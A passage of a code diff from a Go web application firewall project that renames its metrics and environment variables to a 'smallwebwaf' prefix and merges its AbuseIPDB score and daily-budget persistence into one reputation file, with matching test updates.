"The size of each state file, as it was last written.", byFile),
stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total",
"Edits of each state file taken in while running.", byFile),
stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total",
"Edits of each state file renamed to <name>.bad because they did not parse.",
byFile),
}
@@ -141,9 +139,9 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.offences, m.coreRuleSetMatches,
m.rateLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.RequestsWithoutGeoJSAnswer,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize,
m.stateFileEditsTakenIn, m.stateFileEditsSetAside,
@@ -163,7 +161,7 @@ func (m *Metrics) AddBansAndClients(
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_bans_made_total",
Name: "smallwebwaf_bans_made_total",
Help: "Bans made, by cause.",
ConstLabels: prometheus.Labels{"cause": cause},
}, func() float64 {
@@ -173,7 +171,7 @@ func (m *Metrics) AddBansAndClients(
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_active_bans",
Name: "smallwebwaf_active_bans",
Help: "Bans active now, the permanent ones included.",
}, func() float64 {
active, _ := ledger.Count(now())
@@ -181,7 +179,7 @@ func (m *Metrics) AddBansAndClients(
return float64(active)
}),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_permanent_bans",
Name: "smallwebwaf_permanent_bans",
Help: "Permanent bans not lifted.",
}, func() float64 {
_, permanent := ledger.Count(now())
@@ -189,7 +187,7 @@ func (m *Metrics) AddBansAndClients(
return float64(permanent)
}),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_tracked_clients",
Name: "smallwebwaf_tracked_clients",
Help: "Clients in the table of clients.",
}, func() float64 {
return float64(limiter.Len())
@@ -202,13 +200,13 @@ func (m *Metrics) AddBansAndClients(
// ruleFiles, read as the metrics are asked for. It is called once, before
// RuleMatched.
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
m.ruleMatches = counterVec("sww_rule_matches_total",
m.ruleMatches = counterVec("smallwebwaf_rule_matches_total",
"Requests that matched a rule of the rule files, by its id and action.",
[]string{"rule_id", "action"})
m.registry.MustRegister(m.ruleMatches,
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_rules_loaded",
Name: "smallwebwaf_rules_loaded",
Help: "Rules loaded from the rule files.",
}, func() float64 {
return float64(ruleFiles.Len())
@@ -216,25 +214,25 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
}
// AddRemoteLog adds the metrics of sending the log lines to
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// lines sent, those dropped, and those waiting in the buffer.
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_remote_log_lines_sent_total",
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
Name: "smallwebwaf_remote_log_lines_sent_total",
Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.",
}, func() float64 {
return float64(remote.Sent())
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_remote_log_lines_dropped_total",
Name: "smallwebwaf_remote_log_lines_dropped_total",
Help: "Log lines dropped: the oldest in a full buffer, and those " +
"whose sending failed.",
}, func() float64 {
return float64(remote.Dropped())
}),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_remote_log_lines_waiting",
Name: "smallwebwaf_remote_log_buffer_depth",
Help: "Log lines in the buffer, waiting to be sent.",
}, func() float64 {
return float64(remote.Depth())
@@ -250,13 +248,13 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_lookup_database_last_read_timestamp_seconds",
Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds",
Help: "When the lookup database in use was read, in seconds since 1970.",
}, func() float64 {
return float64(lastRead().Unix())
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_lookup_database_read_failures_total",
Name: "smallwebwaf_lookup_database_read_failures_total",
Help: "Replacements of the lookup database that could not be read.",
}, func() float64 {
return float64(readFailures())
@@ -277,7 +275,7 @@ const sourceLabel = "source"
// copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
m.reputationHits = counterVec("sww_reputation_hits_total",
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel})
@@ -296,7 +294,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_last_fetch_timestamp_seconds",
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
Help: "When the copy of the list in use was fetched, in seconds since " +
"1970, or 0 while there is none.",
ConstLabels: source,
@@ -315,7 +313,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
// read from abuseIPDB as the metrics are asked for: the checks made, those
// that failed, and how many checks the day's budget has left. It is
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set.
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
@@ -323,8 +321,8 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
m.addReputationFailures(source, abuseIPDB.Failures)
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_daily_budget_remaining",
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
Name: "smallwebwaf_reputation_daily_budget_remaining",
Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
ConstLabels: source,
}, func() float64 {
return float64(abuseIPDB.BudgetLeft())
@@ -350,29 +348,29 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_alerts_sent_total",
Name: "smallwebwaf_alerts_sent_total",
Help: "Alerts the destination took.",
ConstLabels: destination,
}, func() float64 {
return float64(queue.Counts(name).Sent)
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_alert_send_failures_total",
Name: "smallwebwaf_alerts_failed_total",
Help: "Requests to the destination that failed.",
ConstLabels: destination,
}, func() float64 {
return float64(queue.Counts(name).SendFailures)
return float64(queue.Counts(name).Failed)
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_alerts_suppressed_total",
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
Name: "smallwebwaf_alerts_suppressed_total",
Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " +
"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
ConstLabels: destination,
}, func() float64 {
return float64(queue.Suppressed())
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_alerts_dropped_total",
Name: "smallwebwaf_alerts_dropped_total",
Help: "Alerts dropped, the oldest first, from a full queue, and " +
"alerts given up as the destination refused them.",
ConstLabels: destination,
@@ -428,8 +426,8 @@ func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"blocked_by_block_rule": r.BlockedByBlockRule,
"blocked_by_core_rule_set": r.BlockedByCoreRuleSet,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
@@ -443,14 +441,14 @@ func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc()
}
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
// with SWW_WAF_MODE at mode.
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state or cache file name, of size
// bytes, that ended with err.
// StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) {
m.stateFileWrites.WithLabelValues(name).Inc()
@@ -468,13 +466,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
m.stateFileSize.WithLabelValues(name).Set(float64(size))
}
// StateFileEditTakenIn counts an admin's edit of the state or cache file name
// taken in while sww runs.
// StateFileEditTakenIn counts an admin's edit of the state file name
// taken in while smallwebwaf runs.
func (m *Metrics) StateFileEditTakenIn(name string) {
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
}
// StateFileEditSetAside counts an admin's edit of the state or cache file name
// StateFileEditSetAside counts an admin's edit of the state file name
// renamed to name.bad because it did not parse.
func (m *Metrics) StateFileEditSetAside(name string) {
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
@@ -508,7 +506,7 @@ func (m *Metrics) count(
// zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_queries_total",
Name: "smallwebwaf_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
ConstLabels: source,
}, func() float64 {
@@ -521,7 +519,7 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
// that failed, which count tells.
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_failures_total",
Name: "smallwebwaf_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
"AbuseIPDB, that failed.",
ConstLabels: source,
+1 -1
View File
@@ -23,7 +23,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
{Forwarded: true, Status: 502, ResponseBytes: 12},
// Closed without an answer: refused, and no response.
{Refused: true, Status: 0},
// Answered 404 for a path under /_sww/: neither forwarded nor
// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor
// refused.
{Status: 404},
} {
+20 -21
View File
@@ -2,7 +2,7 @@
// and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes
// the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
// kept, in memory, and written to clients.json and read from it by the
// state package.
package ratelimit
@@ -25,7 +25,7 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests sww
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
@@ -92,9 +92,9 @@ type History struct {
ASName string `json:"as_name,omitempty"`
Country string `json:"country,omitempty"`
LookedUp time.Time `json:"looked_up,omitzero"`
// Requests are all the client's requests: Forwarded those waf allowed,
// Requests are all the client's requests: Forwarded those servewaf allowed,
// Refused those it refused, and neither those for a path under
// /_sww/.
// /_smallwebwaf/.
Requests int64 `json:"requests"`
Forwarded int64 `json:"forwarded"`
Refused int64 `json:"refused"`
@@ -122,13 +122,12 @@ type Responses struct {
type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
// refused.
// of a ban rule or a request for a trap path, RuleBlocked those a block
// rule refused, and WAFBlocked those the Core Rule Set refused.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
BlockedByBlockRule int64 `json:"blocked_by_block_rule"`
BlockedByCoreRuleSet int64 `json:"blocked_by_core_rule_set"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
// TokenRefused is what a clients.json written by an earlier version gives,
// which must still load. Nothing adds to it.
TokenRefused int64 `json:"token_refused,omitempty"`
@@ -136,8 +135,8 @@ type Offences struct {
// Request is what a client's history keeps of one of its requests.
type Request struct {
// Forwarded is true for a request waf allowed, and Refused for one it
// refused. Both are false for a request for a path under /_sww/.
// Forwarded is true for a request servewaf allowed, and Refused for one it
// refused. Both are false for a request for a path under /_smallwebwaf/.
Forwarded bool
Refused bool
// Status is what the client was sent, 0 if nothing was.
@@ -148,16 +147,16 @@ type Request struct {
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
// asked for a trap path, RuleBlocked for one a block rule refused, and
// WAFBlocked for one the Core Rule Set refused.
BrokeLimit bool
Attack bool
BlockedByBlockRule bool
BlockedByCoreRuleSet bool
RuleBlocked bool
WAFBlocked bool
}
// New returns a Limiter for limits, with no client counted yet, whose
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter {
@@ -259,7 +258,7 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent)
}
// CountRefusal counts a request from client at now that sww
// CountRefusal counts a request from client at now that smallwebwaf
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
@@ -324,12 +323,12 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
h.Offences.Attack++
}
if r.BlockedByBlockRule {
h.Offences.BlockedByBlockRule++
if r.RuleBlocked {
h.Offences.RuleBlocked++
}
if r.BlockedByCoreRuleSet {
h.Offences.BlockedByCoreRuleSet++
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
}
+1 -1
View File
@@ -13,7 +13,7 @@ import (
const limit = 3
// tableSize is the most clients the tests' tables hold, the default of
// SWW_MAX_TRACKED_CLIENTS.
// SWWAF_MAX_TRACKED_CLIENTS.
const tableSize = 20000
// whole is the percentage of each limit a client gets when nothing lowers
+9 -9
View File
@@ -1,5 +1,5 @@
// Package remotelog sends the lines sww writes on stdout to the
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
// Package remotelog sends the lines smallwebwaf writes on stdout to the
// remote log endpoint, SWWAF_LOG_REMOTE_URL, as the "Request log" section
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
// or unreachable endpoint never holds up a request or stdout.
@@ -24,7 +24,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
// The forms of SWWAF_LOG_REMOTE_URL, by its scheme.
const (
SchemeUDP = "syslog+udp"
SchemeTCP = "syslog+tcp"
@@ -56,18 +56,18 @@ const (
// Params are what New needs.
type Params struct {
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
// URL is the endpoint (SWWAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
// SchemeTLS, a host and a port.
URL *url.URL
// RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
// must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool
// Buffer is the most lines held while they wait to be sent
// (SWW_LOG_REMOTE_BUFFER).
// (SWWAF_LOG_REMOTE_BUFFER).
Buffer int
// Facility is the number of the records' syslog facility
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_LOG_REMOTE_APP_NAME).
// (SWWAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWWAF_LOG_REMOTE_APP_NAME).
Facility int
AppName string
}
@@ -243,7 +243,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
}
}
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
processLog.Warn("sending to SWWAF_LOG_REMOTE_URL failed",
"error", err.Error(), "connecting_again_in", delay.String())
select {
+6 -6
View File
@@ -44,7 +44,7 @@ import (
const (
// started is the time a record made as a test starts gives.
started = "2000-01-01T00:00:00.000Z"
appName = "fsn1app1/blog"
appName = "fsn1app1/gitea"
// local0 is the number of the default facility, and local0Info the
// priority of its records.
local0 = 16
@@ -94,7 +94,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
endpoint := listen(t)
endpointParams := params(remotelog.SchemeTCP, endpoint.Addr())
endpointParams.Facility = 19 // local3
endpointParams.AppName = "blog"
endpointParams.AppName = "gitea"
sender, _, _ := run(t, endpointParams)
_, _ = sender.Write([]byte("first\nsecond\n"))
@@ -103,8 +103,8 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
wantCounts(t, sender, 2, 0, 0)
frames := bufio.NewReader(accept(t, endpoint))
wantFrame(t, frames, record(t, "<158>", "blog", "first"))
wantFrame(t, frames, record(t, "<158>", "blog", "second"))
wantFrame(t, frames, record(t, "<158>", "gitea", "first"))
wantFrame(t, frames, record(t, "<158>", "gitea", "second"))
})
}
@@ -586,7 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
if err != nil || fields["msg"] != "sending to SWWAF_LOG_REMOTE_URL failed" {
t.Fatalf("logged %q", line)
}
@@ -612,7 +612,7 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "sww test CA"},
Subject: pkix.Name{CommonName: "smallwebwaf test CA"},
NotBefore: time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC),
NotAfter: time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC),
IsCA: true,
+34 -49
View File
@@ -14,7 +14,6 @@ import (
"sync"
"time"
"cloud.google.com/go/civil"
"github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts"
)
@@ -28,6 +27,8 @@ const (
AbuseIPDBSource = "abuseipdb"
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
maxAnswerBytes = 64 << 10
// day is the length of the day the checks are counted in, in UTC.
day = 24 * time.Hour
)
var (
@@ -36,37 +37,38 @@ var (
"checks spent; none is made until the day ends at 00:00 UTC")
)
// Score is what AbuseIPDB said about a client, as abuseipdb-scores.json
// holds it: the client, an IPv4 address or an IPv6 group, its abuse
// confidence score, from 0 to 100, and when AbuseIPDB answered.
// Score is what AbuseIPDB said about a client, as reputation.json holds
// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
// score, from 0 to 100, and when AbuseIPDB answered.
type Score struct {
Client netip.Prefix `json:"client"`
Score int64 `json:"score"`
Fetched time.Time `json:"fetched"`
}
// ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
// zero before the first.
type ChecksSpent struct {
Day civil.Date
Spent int
// Checks are what reputation.json keeps of the checks of clients with
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
// first, and the scores still in use.
type Checks struct {
Day time.Time `json:"day,omitzero"`
Spent int `json:"spent"`
Scores []Score `json:"scores"`
}
// AbuseIPDBParams are what NewAbuseIPDB needs.
type AbuseIPDBParams struct {
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
// the account's key (SWW_ABUSEIPDB_KEY).
// the account's key (SWWAF_ABUSEIPDB_KEY).
URL string
Key string
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE),
// and DailyBudget the most checks made in a day, in UTC
// (SWW_ABUSEIPDB_DAILY_BUDGET).
// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
MinScore int64
DailyBudget int
// CacheTTL is how long a score is used after it was fetched
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWW_REPUTATION_TIMEOUT).
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWWAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
@@ -91,7 +93,7 @@ type AbuseIPDB struct {
// checking are the clients whose check is under way.
checking map[netip.Prefix]bool
// day is the day, in UTC, of the checks spent counts.
day civil.Date
day time.Time
spent int
// checks and failures count the checks made and those that failed,
// and retryAt is when a client may be checked again after the last
@@ -141,7 +143,7 @@ func (a *AbuseIPDB) Hit(
return kept.Score, kept.Score >= a.params.MinScore
}
if today := civil.DateOf(now.UTC()); a.day != today {
if today := now.Truncate(day); !a.day.Equal(today) {
a.day, a.spent = today, 0
}
@@ -188,42 +190,42 @@ func (a *AbuseIPDB) BudgetLeft() int {
a.mu.Lock()
defer a.mu.Unlock()
if a.day != civil.DateOf(a.params.Now().UTC()) {
if !a.day.Equal(a.params.Now().Truncate(day)) {
return a.params.DailyBudget
}
return max(a.params.DailyBudget-a.spent, 0)
}
// Snapshot returns every score still in use, sorted by client, as
// abuseipdb-scores.json keeps them.
func (a *AbuseIPDB) Snapshot() []Score {
// Snapshot returns the checks spent and every score still in use, sorted
// by client, as reputation.json keeps them.
func (a *AbuseIPDB) Snapshot() Checks {
a.mu.Lock()
now := a.params.Now()
scores := make([]Score, 0, a.scores.Len())
checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
for _, kept := range a.scores.Values() {
if now.Sub(kept.Fetched) < a.params.CacheTTL {
scores = append(scores, kept)
checks.Scores = append(checks.Scores, kept)
}
}
a.mu.Unlock()
slices.SortFunc(scores, func(x, y Score) int {
slices.SortFunc(checks.Scores, func(x, y Score) int {
return x.Client.Compare(y.Client)
})
return scores
return checks
}
// Load keeps scores, read from abuseipdb-scores.json, in place of those
// it keeps, but for the scores past maxVerdicts, those fetched longest
// ago. One fetched CacheTTL ago or more is neither used nor written, as
// for any score.
func (a *AbuseIPDB) Load(scores []Score) {
scores = slices.Clone(scores)
// Load keeps checks, read from reputation.json, in place of those it
// keeps, but for the scores past maxVerdicts, those fetched longest ago.
// One fetched CacheTTL ago or more is neither used nor written, as for any
// score.
func (a *AbuseIPDB) Load(checks Checks) {
scores := slices.Clone(checks.Scores)
slices.SortStableFunc(scores, func(x, y Score) int {
return x.Fetched.Compare(y.Fetched)
})
@@ -231,6 +233,7 @@ func (a *AbuseIPDB) Load(scores []Score) {
a.mu.Lock()
defer a.mu.Unlock()
a.day, a.spent = checks.Day, checks.Spent
a.scores.Purge()
for _, kept := range scores {
@@ -238,24 +241,6 @@ func (a *AbuseIPDB) Load(scores []Score) {
}
}
// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
// keeps them.
func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
a.mu.Lock()
defer a.mu.Unlock()
return ChecksSpent{Day: a.day, Spent: a.spent}
}
// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
// place of the checks spent.
func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
a.mu.Lock()
defer a.mu.Unlock()
a.day, a.spent = checks.Day, checks.Spent
}
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
// the score as client's, and notes the check as no longer under way. A
// check that fails gives no score: it is counted, logged and raised as a
+11 -47
View File
@@ -17,7 +17,6 @@ import (
"testing/synctest"
"time"
"cloud.google.com/go/civil"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/metrics"
"sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -180,13 +179,11 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
t.Errorf("logged\n%s\nwant the budget used up", log.String())
}
// Restarted with what abuseipdb-scores.json and
// abuseipdb-checks-spent.json keep, it uses the scores, and checks
// no client until the day ends.
// Restarted with what reputation.json keeps, it uses the scores, and
// checks no client until the day ends.
restarted := &abuseIPDBStandIn{}
again := newAbuseIPDB(restarted, p)
again.Load(checker.Snapshot())
again.LoadChecksSpent(checker.ChecksSpent())
wantScore(t, again, suspect, true, 100, true)
wantBudgetLeft(t, again, 0)
@@ -205,39 +202,6 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
})
}
func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
ahead := time.FixedZone("UTC+14", 14*60*60)
p := abuseIPDBParams()
p.DailyBudget = 1
p.Now = func() time.Time { return time.Now().In(ahead) }
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
checker := newAbuseIPDB(abuseIPDB, p)
// At 09:00 UTC the one check is spent.
time.Sleep(9 * time.Hour)
hitFrom(t, checker, suspect, true)
synctest.Wait()
wantBudgetLeft(t, checker, 0)
// At 11:00 UTC the clock's day has changed, but the UTC day has not.
time.Sleep(2 * time.Hour)
wantBudgetLeft(t, checker, 0)
want := civil.Date{Year: 2000, Month: 1, Day: 1}
if day := checker.ChecksSpent().Day; day != want {
t.Errorf("checks spent on %s, want on %s", day, want)
}
// At 00:00 UTC the budget is whole again.
time.Sleep(13 * time.Hour)
wantBudgetLeft(t, checker, 1)
})
}
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
t.Parallel()
@@ -301,7 +265,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
wantChecked(t, abuseIPDB, suspect, other)
wantFailures(t, checker, 2)
if scores := checker.Snapshot(); len(scores) != 0 {
if scores := checker.Snapshot().Scores; len(scores) != 0 {
t.Errorf("scores %+v, want none", scores)
}
@@ -398,7 +362,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
for name, shown := range map[string]string{
"the log": log.String(), "the alerts": string(alerted),
"the metrics": scrapeMetrics(t, m), "abuseipdb-scores.json": string(kept),
"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
} {
if strings.Contains(shown, key) {
t.Errorf("%s shows the key:\n%s", name, shown)
@@ -433,7 +397,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
"failures_total": "1",
"daily_budget_remaining": "3",
} {
line := "\nsww_reputation_" + series +
line := "\nsmallwebwaf_reputation_" + series +
`{instance="app",source="abuseipdb"} ` + want + "\n"
if !strings.Contains(scraped, line) {
t.Errorf("metrics\n%s\nwant%s", scraped, line)
@@ -461,12 +425,12 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
Fetched: now.Add(-cacheTTL),
}
checker.Load([]reputation.Score{stale, inUse})
checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
wantScore(t, checker, suspect, false, 100, true)
wantScore(t, checker, other, false, 0, false)
got := checker.Snapshot()
got := checker.Snapshot().Scores
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
t.Errorf("scores %+v, want only %+v", got, inUse)
}
@@ -480,7 +444,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
p.Now = func() time.Time { return now }
checker := reputation.NewAbuseIPDB(p)
// 100,001 scores, listed by client, as abuseipdb-scores.json lists them, each
// 100,001 scores, listed by client, as reputation.json lists them, each
// fetched a millisecond before the one before it: the last is one too
// many.
const count = 100001
@@ -496,9 +460,9 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
addr = addr.Next()
}
checker.Load(scores)
checker.Load(reputation.Checks{Scores: scores})
got := checker.Snapshot()
got := checker.Snapshot().Scores
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
slices.Contains(got, scores[count-1]) {
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
@@ -617,7 +581,7 @@ func wantScore(
